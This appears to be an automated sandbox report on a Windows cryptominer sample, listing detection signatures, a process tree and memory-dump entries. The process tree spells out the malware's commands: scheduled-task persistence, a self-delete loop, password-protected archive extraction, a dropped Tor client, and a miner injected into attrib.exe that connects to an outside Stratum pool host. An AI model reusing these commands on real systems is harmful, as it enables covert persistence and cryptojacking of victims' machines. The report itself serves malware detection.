Overview

overview

9

Static

static

start.exe

windows7_x64

9

start.exe

windows10_x64

8

Analysis

  • max time kernel
    151s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    16/11/2020, 12:55

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General

  • Target
    start.exe
  • Size 14.1MB
  • Sample201116-wq4x4hya9e
  • SHA256 e89843256ff5ba727b9195361447d30e88fbfb660e97aaad5cb0196fd2f0991a
  • MD5 SHA1 SHA512
Score
9/10
miner

Malware Config

Signatures

  • Detected Stratum cryptominer command

    Looks to be attempting to contact Stratum mining pool.

    miner
  • Executes dropped EXE 10 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 12 IoCs
  • JavaScript code in executable 12 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • NTFS ADS 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6000 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 21 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of WriteProcessMemory 66 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\start.exe
    "C:\Users\Admin\AppData\Local\Temp\start.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
      C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1620
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1344
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
        3⤵
        • Creates scheduled task(s)
        PID:1124
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c For /L %i In (0,0,0) Do (del "C:\Users\Admin\AppData\Local\Temp\start.exe"&&timeout /t 0&&if not exist "C:\Users\Admin\AppData\Local\Temp\start.exe" exit)
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:916
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 0
        3⤵
        • Delays execution with timeout.exe
        PID:1896
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {9FDB5632-5462-49FB-A755-AAE5F3FECBFD} S-1-5-21-293278959-2699126792-324916226-1000:TUICJFPF\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1336
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1080
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:628
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:692
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe" -f TorConfig
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1716
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
        7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1320
      • C:\Windows\SysWOW64\attrib.exe
        -o stratum+tcp://cryptolegion.ddns.net -u .69EEECFE -p x -t 1
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Views/modifies file attributes
        PID:1496
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1860
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1492
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1852
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:340

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/692-16-0x0000000000590000-0x0000000000650000-memory.dmp
        Download

        memory/692-19-0x0000000000590000-0x0000000000650000-memory.dmp
        Download

        memory/1320-677-0x00000000000C0000-0x0000000000180000-memory.dmp
        Download

        memory/1320-674-0x00000000000C0000-0x0000000000180000-memory.dmp
        Download

        memory/1496-688-0x0000000000400000-0x0000000000B59000-memory.dmp
        Download

        memory/1496-691-0x0000000000400000-0x0000000000B59000-memory.dmp
        Download

        memory/1496-690-0x0000000000400000-0x0000000000B59000-memory.dmp
        Download

        memory/1716-210-0x0000000002E70000-0x0000000002E81000-memory.dmp
        Download

        memory/1716-211-0x0000000003280000-0x0000000003291000-memory.dmp
        Download

        memory/1716-42-0x0000000064B40000-0x0000000064BBE000-memory.dmp
        Download

        memory/1716-43-0x0000000002E70000-0x0000000002E81000-memory.dmp
        Download

        memory/1716-44-0x0000000003280000-0x0000000003291000-memory.dmp
        Download

        memory/1716-45-0x0000000002E70000-0x0000000002E81000-memory.dmp
        Download

        memory/1716-379-0x00000000038C0000-0x00000000038D1000-memory.dmp
        Download

        memory/1716-378-0x00000000034B0000-0x00000000034C1000-memory.dmp
        Download

        memory/1716-380-0x00000000034B0000-0x00000000034C1000-memory.dmp
        Download

        memory/1716-212-0x0000000002E70000-0x0000000002E81000-memory.dmp
        Download